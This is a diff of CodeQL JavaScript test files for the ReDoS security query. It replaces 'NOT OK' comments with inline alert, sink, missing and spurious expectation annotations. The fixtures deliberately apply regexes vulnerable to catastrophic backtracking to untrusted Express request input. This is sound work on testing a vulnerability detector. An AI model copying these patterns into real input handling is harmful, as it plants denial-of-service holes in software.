-  exports.foo = function (name) {
-	/f*g/.test(name); // NOT OK
+  exports.foo = function (name) { // $ Source[js/polynomial-redos]
+	/f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
   }
 })));
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/feature.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/feature.js
index 4326227e86b5..44c24db352e4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/feature.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/feature.js
@@ -1,3 +1,3 @@
-module.exports = function (name) {
-	/a*b/.test(name); // NOT OK
+module.exports = function (name) { // $ Source[js/polynomial-redos]
+	/a*b/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/main.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/main.js
index 909fcdb0da53..daf462fea1cf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/main.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/main.js
@@ -1,5 +1,5 @@
-module.exports = function (name) {
-	/a*b/.test(name); // NOT OK
+module.exports = function (name) { // $ Source[js/polynomial-redos]
+	/a*b/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 };
 
 const SubClass = require('./subclass');
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/subclass.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/subclass.js
index e8c956ddd7df..9786b49b0327 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/subclass.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib5/subclass.js
@@ -1,8 +1,8 @@
 class Subclass {
   constructor() {}
 
-  define(name) {
-    /a*b/.test(name); // NOT OK
+  define(name) { // $ Source[js/polynomial-redos]
+    /a*b/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
   }
 }
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib6/index.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib6/index.js
index 1223b354293f..dd5b0db354fe 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib6/index.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/subLib6/index.js
@@ -1,3 +1,3 @@
-module.exports.foo = function (name) {
-  /f*g/.test(name); // NOT OK
+module.exports.foo = function (name) { // $ Source[js/polynomial-redos]
+  /f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/sublib/factory.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/sublib/factory.js
index e7f6afb3f087..5ba28dca4217 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/sublib/factory.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/lib/sublib/factory.js
@@ -9,8 +9,8 @@
     }
 }(this, function () {
     function create() {
-        return function (name) {
-            /f*g/.test(name); // NOT OK
+        return function (name) { // $ Source[js/polynomial-redos]
+            /f*g/.test(name); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
         }
     }
     return create()
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/polynomial-redos.js
index 860472428ff0..be1f8d9577ac 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/polynomial-redos.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/polynomial-redos.js
@@ -2,142 +2,142 @@ var express = require('express');
 var app = express();
 
 app.use(function(req, res) {
-	let tainted = req.query.tainted;
-
-	tainted.replace(/^\s+|\s+$/g, ''); // NOT OK
-	tainted.split(/ *, */); // NOT OK
-	tainted.replace(/\s*\n\s*/g, ' '); // NOT OK
-	tainted.split('\n'); // OK
-	tainted.replace(/.*[/\\]/, ''); // NOT OK
-	tainted.replace(/.*\./, ''); // NOT OK
-	tainted.replace(/^.*[/\\]/, ''); // OK
-	tainted.replace(/^.*\./, ''); // OK
-	tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // NOT OK
-	tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // NOT OK
-	/^(.*,)+(.+)?$/.test(tainted); // NOT OK
-	tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i); // NOT OK
-	tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i); // NOT OK (even though it is a proposed fix for the above)
-	tainted.match(/^(\+|-)?(\d+|(\d*\.\d*))?(E|e)?([-+])?(\d+)?$/); // NOT OK
+	let tainted = req.query.tainted; // $ Source[js/polynomial-redos]
+
+	tainted.replace(/^\s+|\s+$/g, ''); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.split(/ *, */); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.replace(/\s*\n\s*/g, ' '); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.split('\n');
+	tainted.replace(/.*[/\\]/, ''); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.replace(/.*\./, ''); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.replace(/^.*[/\\]/, '');
+	tainted.replace(/^.*\./, '');
+	tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	/^(.*,)+(.+)?$/.test(tainted); // $ Alert[js/polynomial-redos] Alert[js/redos] Sink[js/polynomial-redos]
+	tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos] - even though it is a proposed fix for the above
+	tainted.match(/^(\+|-)?(\d+|(\d*\.\d*))?(E|e)?([-+])?(\d+)?$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 	if (tainted.length < 7000) {
 		tainted.match(/^(\+|-)?(\d+|(\d*\.\d*))?(E|e)?([-+])?(\d+)?$/); // OK - but flagged
 	}
 
-	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/ \t\n]+[=]*)(.*)$/); // NOT OK
-	tainted.match(/^([a-z0-9-]+)[ \t\n]+([a-zA-Z0-9+\/][a-zA-Z0-9+\/ \t\n=]*)([^a-zA-Z0-9+\/ \t\n=].*)?$/); // OK
-	/[a-z][A-Z]|[A-Z]{2,}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // NOT OK - but not detected due to not supporting ranges
-	/[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // OK
+	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/ \t\n]+[=]*)(.*)$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^([a-z0-9-]+)[ \t\n]+([a-zA-Z0-9+\/][a-zA-Z0-9+\/ \t\n=]*)([^a-zA-Z0-9+\/ \t\n=].*)?$/);
+	/[a-z][A-Z]|[A-Z]{2,}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted); // $ MISSING: Alert[js/polynomial-redos] - not detected due to not supporting ranges
+	/[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/.test(tainted);
 
-	tainted.replace(/[?]+.*$/g, ""); // OK - can not fail - but still flagged
+	tainted.replace(/[?]+.*$/g, ""); // $ Sink[js/polynomial-redos] SPURIOUS: Alert[js/polynomial-redos] - can not fail once a match has started
 	tainted.replace(/\-\-+/g, "-").replace(/-+$/, ""); // OK - indirectly sanitized
 	tainted.replace(/\n\n\n+/g, "\n").replace(/\n*$/g, "");  // OK - indirectly sanitized
-	tainted.match(/(.)*solve\/challenges\/server-side(.)*/); // NOT OK
-	tainted.match(/<head>(?![\s\S]*<head>)/i); // OK
-
-	tainted.match(/<.*class="([^"]+)".*>/); // NOT OK
-	tainted.match(/<.*style="([^"]+)".*>/); // NOT OK
-	tainted.match(/<.*href="([^"]+)".*>/); // NOT OK
-
-	tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK
-	tainted.match(/^([^-]+)-([A-Za-z0-9+/=]{44,88})(\?[\x21-\x7E]*)*$/); // NOT OK (it is a fix for the above, but it introduces exponential complexity elsewhere)
-
-	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([\n \t]+([^\n]+))?$/); // NOT OK
-	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([ \t]+([^ \t][^\n]*[\n]*)?)?$/); // OK
-
-	tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/); // NOT OK (also flagged by js/redos)
-	tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*$/); // OK
-	tainted.replaceAll(/\s*\n\s*/g, ' '); // NOT OK
-
-	/Y.*X/.test(tainted); // NOT OK
-	/B?(YH|K)(YH|J)*X/.test(tainted) // NOT OK
-	(/B?(YH|K).*X/.test(tainted)); // NOT OK
-	/(B|Y)+(Y)*X/.test(tainted) // NOT OK
-	(/(B|Y)+(.)*X/.test(tainted)) // NOT OK
-	(/f(B|Y)+(Y)*X/.test(tainted)); // NOT OK
-	/f(B|Y)+(Y)*X/.test(tainted) // NOT OK
-	(/f(B|Y)+(Y|K)*X/.test(tainted)) // NOT OK
-	(/f(B|Y)+.*X/.test(tainted)) // NOT OK
-	(/f(B|Y)+(.)*X/.test(tainted)) // NOT OK
-	(/^(.)*X/.test(tainted)); // OK
-	(/^Y(Y)*X/.test(tainted)); // OK
-	(/^Y*Y*X/.test(tainted)); // NOT OK
-	(/^(K|Y)+Y*X/.test(tainted)); // NOT OK
-	(/^foo(K|Y)+Y*X/.test(tainted)); // NOT OK
-	(/^foo(K|Y)+.*X/.test(tainted)); // NOT OK
-	(/(K|Y).*X/.test(tainted)); // NOT OK
-	(/[^Y].*X/.test(tainted)); // NOT OK
+	tainted.match(/(.)*solve\/challenges\/server-side(.)*/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/<head>(?![\s\S]*<head>)/i);
+
+	tainted.match(/<.*class="([^"]+)".*>/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/<.*style="([^"]+)".*>/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/<.*href="([^"]+)".*>/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+
+	tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^([^-]+)-([A-Za-z0-9+/=]{44,88})(\?[\x21-\x7E]*)*$/); // $ Alert[js/redos] - it is a fix for the above, but it introduces exponential complexity elsewhere
+
+	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([\n \t]+([^\n]+))?$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+\/]+[=]*)([ \t]+([^ \t][^\n]*[\n]*)?)?$/);
+
+        tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/); // $ Alert[js/redos]
+	tainted.match(/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*$/);
+	tainted.replaceAll(/\s*\n\s*/g, ' '); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+
+	/Y.*X/.test(tainted); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	/B?(YH|K)(YH|J)*X/.test(tainted) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/B?(YH|K).*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	/(B|Y)+(Y)*X/.test(tainted) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/(B|Y)+(.)*X/.test(tainted)) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/f(B|Y)+(Y)*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	/f(B|Y)+(Y)*X/.test(tainted) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/f(B|Y)+(Y|K)*X/.test(tainted)) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/f(B|Y)+.*X/.test(tainted)) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/f(B|Y)+(.)*X/.test(tainted)) // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/^(.)*X/.test(tainted));
+	(/^Y(Y)*X/.test(tainted));
+	(/^Y*Y*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/^(K|Y)+Y*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/^foo(K|Y)+Y*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/^foo(K|Y)+.*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/(K|Y).*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	(/[^Y].*X/.test(tainted)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 	(/[^Y].*$/.test(req.url)); // OK - the input cannot contain newlines.
-	(/[^Y].*$/.test(req.body)); // NOT OK
+	(/[^Y].*$/.test(req.body)); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK
+	tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(new RegExp("(MSIE) (\\d+)\\.(\\d+).*XBLWP7")); // NOT OK
+	tainted.match(new RegExp("(MSIE) (\\d+)\\.(\\d+).*XBLWP7")); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/<.*class="([^"]+)".*>/); // NOT OK
+	tainted.match(/<.*class="([^"]+)".*>/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/Y.*X/); // NOT OK
-	tatined.match(/B?(YH|K)(YH|J)*X/); // NOT OK - but not detected
+	tainted.match(/Y.*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tatined.match(/B?(YH|K)(YH|J)*X/); // $ MISSING: Alert[js/polynomial-redos]
 
-	tainted.match(/a*b/); // NOT OK - the initial repetition can start matching anywhere.
-	tainted.match(/cc*D/); // NOT OK
-	tainted.match(/^ee*F/); // OK 
-	tainted.match(/^g*g*/); // OK
-	tainted.match(/^h*i*/); // OK
+	tainted.match(/a*b/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos] - the initial repetition can start matching anywhere.
+	tainted.match(/cc*D/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^ee*F/);
+	tainted.match(/^g*g*/);
+	tainted.match(/^h*i*/);
 
-	tainted.match(/^(ab)*ab(ab)*X/); // NOT OK
+	tainted.match(/^(ab)*ab(ab)*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/aa*X/); // NOT OK
-	tainted.match(/^a*a*X/); // NOT OK
-	tainted.match(/\wa*X/); // NOT OK
-	tainted.match(/a*b*c*/); // OK
-	tainted.match(/a*a*a*a*/); // OK
+	tainted.match(/aa*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^a*a*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/\wa*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/a*b*c*/);
+	tainted.match(/a*a*a*a*/);
 
-	tainted.match(/^([3-7]|A)*([2-5]|B)*X/); // NOT OK
-	tainted.match(/^\d*([2-5]|B)*X/); // NOT OK
-	tainted.match(/^([3-7]|A)*\d*X/); // NOT OK
+	tainted.match(/^([3-7]|A)*([2-5]|B)*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^\d*([2-5]|B)*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^([3-7]|A)*\d*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/^(ab)+ab(ab)+X/); // NOT OK
+	tainted.match(/^(ab)+ab(ab)+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/aa+X/); // NOT OK
-	tainted.match(/a+X/); // NOT OK
-	tainted.match(/^a+a+X/); // NOT OK
-	tainted.match(/\wa+X/); // NOT OK
-	tainted.match(/a+b+c+/); //NOT  OK
-	tainted.match(/a+a+a+a+/); // OK
+	tainted.match(/aa+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/a+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^a+a+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/\wa+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/a+b+c+/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/a+a+a+a+/);
 
-	tainted.match(/^([3-7]|A)+([2-5]|B)+X/); // NOT OK
-	tainted.match(/^\d+([2-5]|B)+X/); // NOT OK
-	tainted.match(/^([3-7]|A)+\d+X/); // NOT OK
+	tainted.match(/^([3-7]|A)+([2-5]|B)+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^\d+([2-5]|B)+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/^([3-7]|A)+\d+X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/\s*$/); // NOT OK
-	tainted.match(/\s+$/); // NOT OK
+	tainted.match(/\s*$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	tainted.match(/\s+$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/^\d*5\w*$/); // NOT OK
+	tainted.match(/^\d*5\w*$/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK
+	tainted.match(/\/\*[\d\D]*?\*\//g); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-	tainted.match(/(#\d+)+/); // OK - but still flagged due to insufficient suffix-checking.
+	tainted.match(/(#\d+)+/); // $ Sink[js/polynomial-redos] SPURIOUS: Alert[js/polynomial-redos] - flagged due to insufficient suffix-checking.
 
 	(function foo() {
 		var replaced = tainted.replace(/[^\w\s\-\.\_~]/g, '');
 		var result = ""
 		result += replaced;
-		result = result.replace(/^\s+|\s+$/g, ''); // NOT OK
+		result = result.replace(/^\s+|\s+$/g, ''); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 	})();
 
-	tainted.match(/(https?:\/\/[^\s]+)/gm); // OK
+	tainted.match(/(https?:\/\/[^\s]+)/gm);
 
 	var modified = tainted.replace(/a/g, "b");
-	modified.replace(/cc+D/g, "b"); // NOT OK
+	modified.replace(/cc+D/g, "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 	
 	var modified2 = tainted.replace(/a|b|c|\d/g, "e");
-	modified2.replace(/ff+G/g, "b"); // NOT OK
+	modified2.replace(/ff+G/g, "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
     var modified3 = tainted.replace(/\s+/g, "");
-    modified3.replace(/hh+I/g, "b"); // NOT OK
+    modified3.replace(/hh+I/g, "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 
-    tainted.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*X/); // NOT OK
+    tainted.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*X/); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 	
-	modified3.replace(new RegExp("hh+I", "g"), "b"); // NOT OK
-	modified3.replace(new RegExp("hh+I", unknownFlags()), "b"); // NOT OK
-	modified3.replace(new RegExp("hh+I", ""), "b"); // NOT OK
+	modified3.replace(new RegExp("hh+I", "g"), "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	modified3.replace(new RegExp("hh+I", unknownFlags()), "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
+	modified3.replace(new RegExp("hh+I", ""), "b"); // $ Alert[js/polynomial-redos] Sink[js/polynomial-redos]
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/address.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/address.js
index ba005a21fdef..d22023d27dd0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/address.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/address.js
@@ -48,7 +48,7 @@
 /^(\d{2}-\d{2})*$/g;
 /^(\d{3}-\d{3}-\d{4})*$/g;
 /^\d{5}((\-|\s)?\d{4})?$/g;
-/^\s*((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)\,?\s+((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)?\,?\s+((?:[A-Za-z]+\x20*)+)\,\s+(A[LKSZRAP]|C[AOT]|D[EC]|F[LM]|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEHINOPST]|N[CDEHJMVY]|O[HKR]|P[ARW]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])\s+(\d+(?:-\d+)?)\s*$/g;
+/^\s*((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)\,?\s+((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)?\,?\s+((?:[A-Za-z]+\x20*)+)\,\s+(A[LKSZRAP]|C[AOT]|D[EC]|F[LM]|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEHINOPST]|N[CDEHJMVY]|O[HKR]|P[ARW]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])\s+(\d+(?:-\d+)?)\s*$/g; // $ Alert[js/redos]
 /[0-9]{4}\s*[a-zA-Z]{2}/g;
 /(^0.*[1-9]*)|(^860+)|(^8613)|(\D)|([0-9])/g;
 /(077|078|079)\s?\d{2}\s?\d{6}/g;
@@ -72,7 +72,7 @@
 /^(\d{2}-\d{2})*$/g;
 /^(?:\([2-9]\d{2}\)\ ?|(?:[2-9]\d{2}\-))[2-9]\d{2}\-\d{4}$/g;
 /^[1-9]{1}[0-9]{3}\s?[A-Z]{2}$/g;
-/^\s*((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)\,?\s+((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|